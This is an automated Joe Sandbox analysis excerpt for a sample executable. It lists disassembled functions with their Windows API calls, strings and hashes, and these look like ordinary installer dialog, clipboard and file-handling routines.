Opcode ID: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction ID: c7266a3154837caca095f11e7777f6dda2278cbf6cff4ee7664d3894fc3aa091
Opcode Fuzzy Hash: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction Fuzzy Hash: ECB01271240300BFDA214F00DF09F057B21AB90700F10C034B348380F086711035EB0D

Function 00404394 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,?,004041BF), ref: 004043A2

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: bd7e8dc2c5871e064c502d82a01b6574672f0de651032f207fd53ed2aa40cebc
Instruction ID: e4171d0a4592585bcf4a2ca6fb2eaed9aff33c093be5cb9cf1e9125a9c9e1139
Opcode Fuzzy Hash: bd7e8dc2c5871e064c502d82a01b6574672f0de651032f207fd53ed2aa40cebc
Instruction Fuzzy Hash: 0EB09235290600ABDE214B40DE49F457A62E7A4701F008178B240640B0CAB200A1DB19

Non-executed Functions

Function 0040558F Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004055ED
GetDlgItem.USER32(?,000003EE), ref: 004055FC
GetClientRect.USER32(?,?), ref: 00405639
GetSystemMetrics.USER32(00000002), ref: 00405640
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405661
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405672
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405685
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405693
SendMessageW.USER32(?,00001024,00000000,?), ref: 004056A6
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004056C8
ShowWindow.USER32(?,00000008), ref: 004056DC
GetDlgItem.USER32(?,000003EC), ref: 004056FD
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040570D
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405726
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405732
GetDlgItem.USER32(?,000003F8), ref: 0040560B

Part of subcall function 00404394: SendMessageW.USER32(00000028,?,?,004041BF), ref: 004043A2

GetDlgItem.USER32(?,000003EC), ref: 0040574F
CreateThread.KERNEL32(00000000,00000000,Function_00005523,00000000), ref: 0040575D
CloseHandle.KERNEL32(00000000), ref: 00405764
ShowWindow.USER32(00000000), ref: 00405788
ShowWindow.USER32(?,00000008), ref: 0040578D
ShowWindow.USER32(00000008), ref: 004057D7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040580B
CreatePopupMenu.USER32 ref: 0040581C
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405830
GetWindowRect.USER32(?,?), ref: 00405850
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405869
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058A1
OpenClipboard.USER32(00000000), ref: 004058B1
EmptyClipboard.USER32 ref: 004058B7
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004058C3
GlobalLock.KERNEL32(00000000), ref: 004058CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058E1
GlobalUnlock.KERNEL32(00000000), ref: 00405901
SetClipboardData.USER32(0000000D,00000000), ref: 0040590C
CloseClipboard.USER32 ref: 00405912

Strings

(7B, xrefs: 0040587D
{, xrefs: 004057F5

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: (7B${
API String ID: 590372296-525222780
Opcode ID: 1d1f977673fe441afad02026140f53aaec566053b515a361d3c8f7f727d52ca3
Instruction ID: ef9837d71be30d97cad1ad5ee6bf48d4101bac37d77d0ad6e239d9f51a57dc01
Opcode Fuzzy Hash: 1d1f977673fe441afad02026140f53aaec566053b515a361d3c8f7f727d52ca3
Instruction Fuzzy Hash: C4B16A70900608FFDB11AFA0DD85AAE7B79FB48355F00403AFA45B61A0CB754E52DF68

Function 00404850 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040489F
SetWindowTextW.USER32(00000000,?), ref: 004048C9
SHBrowseForFolderW.SHELL32(?), ref: 0040497A
CoTaskMemFree.OLE32(00000000), ref: 00404985
lstrcmpiW.KERNEL32(Call,00423728,00000000,?,?), ref: 004049B7
lstrcatW.KERNEL32(?,Call), ref: 004049C3
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004049D5

Part of subcall function 00405A32: GetDlgItemTextW.USER32(?,?,00000400,00404A0C), ref: 00405A45

Part of subcall function 0040667C: CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,76F93420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
Part of subcall function 0040667C: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
Part of subcall function 0040667C: CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,76F93420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
Part of subcall function 0040667C: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,76F93420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

GetDiskFreeSpaceW.KERNEL32(004216F8,?,?,0000040F,?,004216F8,004216F8,?,?,004216F8,?,?,000003FB,?), ref: 00404A98
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404AB3

Part of subcall function 00404C0C: lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
Part of subcall function 00404C0C: wsprintfW.USER32 ref: 00404CB6
Part of subcall function 00404C0C: SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

(7B, xrefs: 0040494D
Call, xrefs: 004049B1, 004049B6, 004049C1
A, xrefs: 00404973

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$A$Call
API String ID: 2624150263-413618503
Opcode ID: 60ed21fe2f328070877fcf4fb1291f079d9e461e65f212612ce38389da6d49e8
Instruction ID: 217fbe9c53fcac7a38d38ba6b36a95d3c52d9e466bb1b0d29fe77156d884dce9
Opcode Fuzzy Hash: 60ed21fe2f328070877fcf4fb1291f079d9e461e65f212612ce38389da6d49e8
Instruction Fuzzy Hash: 01A161F1A00205ABDB11EFA5C985AAF77B8EF84315F10803BF611B62D1D77C9A418B6D

Function 00402104 Relevance: 1.6, APIs: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004084E4,?,?,004084D4,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402183

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 4630f11a642d4e3ef4f98d2454dc0e8d663bfbe8c95ddff176ede1b1d5b4d77b
Instruction ID: a370b0fa9b2e606d6813e98b4c017b265e4ea8c47d708310f479c561ceb58c7b
Opcode Fuzzy Hash: 4630f11a642d4e3ef4f98d2454dc0e8d663bfbe8c95ddff176ede1b1d5b4d77b
Instruction Fuzzy Hash: 80414A71A00208AFCF04DFE4C988A9D7BB5FF48314B24457AF915EB2E1DBB99981CB54

Function 00402868 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402877

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 6fd2962910cdf18594a7907c322fc030c9e7a26b232b9d9b5d327205302d7dac
Instruction ID: e6f127318fd58302517648c6e406f49d0db104963aa8d987e753e5cb7f87edca
Opcode Fuzzy Hash: 6fd2962910cdf18594a7907c322fc030c9e7a26b232b9d9b5d327205302d7dac
Instruction Fuzzy Hash: EDF08271A14104EBDB10DBA4DA499AEB378EF14314F60467BF545F21E0DBB45D809B2A

Function 0040451E Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,?), ref: 004045BC
GetDlgItem.USER32(?,000003E8), ref: 004045D0
SendMessageW.USER32(00000000,0000045B,?,00000000), ref: 004045ED
GetSysColor.USER32(?), ref: 004045FE
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040460C
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040461A
lstrlenW.KERNEL32(?), ref: 0040461F
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040462C
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404641
GetDlgItem.USER32(?,0000040A), ref: 0040469A
SendMessageW.USER32(00000000), ref: 004046A1
GetDlgItem.USER32(?,000003E8), ref: 004046CC
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040470F
LoadCursorW.USER32(00000000,00007F02), ref: 0040471D
SetCursor.USER32(00000000), ref: 00404720
LoadCursorW.USER32(00000000,00007F00), ref: 00404739
SetCursor.USER32(00000000), ref: 0040473C
SendMessageW.USER32(00000111,?,00000000), ref: 0040476B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040477D

Strings

N, xrefs: 004046BA
Call, xrefs: 004046FB

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: Call$N
API String ID: 3103080414-3438112850
Opcode ID: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction ID: 26ae409e5f73424340e4bb55f347a499eb46e427c8d4328441e026d38e95c6c2
Opcode Fuzzy Hash: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction Fuzzy Hash: 4B6173B1900209BFDB109F60DD85EAA7B69FB84314F00853AFB05772E0D7789D52CB58

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,?), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429240,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction ID: b35030fe9107d9a8359b932f7918d2348922827c9ca57aaae851fe5b21190c6b
Opcode Fuzzy Hash: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction Fuzzy Hash: 92418A71800249AFCF058FA5DE459AFBBB9FF44310F00842AF991AA1A0C738E955DFA4

Function 00406034 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,?,?,00000000,?,?,004061CF,?,?), ref: 0040606F
GetShortPathNameW.KERNEL32(?,00426DC8,00000400), ref: 00406078

Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

GetShortPathNameW.KERNEL32(?,004275C8,00000400), ref: 00406095
wsprintfA.USER32 ref: 004060B3
GetFileSize.KERNEL32(00000000,00000000,004275C8,C0000000,00000004,004275C8,?,?,?,?,?), ref: 004060EE
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 004060FD
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406135
SetFilePointer.KERNEL32(0040A590,00000000,00000000,00000000,00000000,004269C8,00000000,-0000000A,0040A590,00000000,[Rename],00000000,00000000,00000000), ref: 0040618B
GlobalFree.KERNEL32(00000000), ref: 0040619C
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004061A3

Part of subcall function 00405EDE: GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\rXKfKM0T49.exe,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNELBASE(?,?,?,00000000,?,00000001,00000000), ref: 00405F04

Strings

[Rename], xrefs: 0040611D, 0040612F
%ls=%ls, xrefs: 004060A9

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: a8f6130d4aa3065939d725957225dfc1b425243e5004b20d0867480790577512
Instruction ID: 8c4bc4cab4d3408e43c29de3b383fd3cef376d344e04ab2aaf2f470794b42cbb
Opcode Fuzzy Hash: a8f6130d4aa3065939d725957225dfc1b425243e5004b20d0867480790577512
Instruction Fuzzy Hash: 34313770200719BFD2206B619D48F6B3A6CEF45704F16043EFA46FA2D3DA3C99158ABD

Function 004043C6 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004043E3
GetSysColor.USER32(00000000), ref: 00404421
SetTextColor.GDI32(?,00000000), ref: 0040442D
SetBkMode.GDI32(?,?), ref: 00404439
GetSysColor.USER32(?), ref: 0040444C
SetBkColor.GDI32(?,?), ref: 0040445C
DeleteObject.GDI32(?), ref: 00404476
CreateBrushIndirect.GDI32(?), ref: 00404480

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: 4d8d1a64c5805e8a020b3744e793f2033a9a6b6b0a681029562fed9dd316a9da
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: 722131715007049BCB319F68D948B5BBBF8AF81714B148A2EEE96E26E0D738D944CB54

Function 00405450 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: d8bd542d8f5d0add287beae510a16995646733a1dc03fc5179ed0d48c47eb8dc
Instruction ID: e73fa1987b6059f35b704de59c80f6892b54c3d1ee51518932a2041d94d0b0cb
Opcode Fuzzy Hash: d8bd542d8f5d0add287beae510a16995646733a1dc03fc5179ed0d48c47eb8dc
Instruction Fuzzy Hash: BE21A171900558BACB119F95DD84ACFBFB5EF84314F10803AF904B22A1C3798A91CFA8

Function 0040667C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,76F93420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,76F93420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,76F93420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

Strings

*?|<>/":, xrefs: 004066CE
C:\Users\user\AppData\Local\Temp\, xrefs: 0040667D, 00406682

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-3250253040
Opcode ID: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction ID: ccb021e8c97aa0e4e9f296cc8cc4b0d2e06c32826977e33acd3911ee1a404cd3
Opcode Fuzzy Hash: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction Fuzzy Hash: E011C82580061295DB302B548C44B77A2E8EF55764F52843FE985B32C1EB7D5CE28ABD

Function 00402E8E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402EA9
GetTickCount.KERNEL32 ref: 00402EC7
wsprintfW.USER32 ref: 00402EF5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402F19
ShowWindow.USER32(00000000,00000005), ref: 00402F27

Part of subcall function 00402E72: MulDiv.KERNEL32(0001E270,00000064,0001E311), ref: 00402E87

Strings

... %d%%, xrefs: 00402EEF

Memory Dump Source

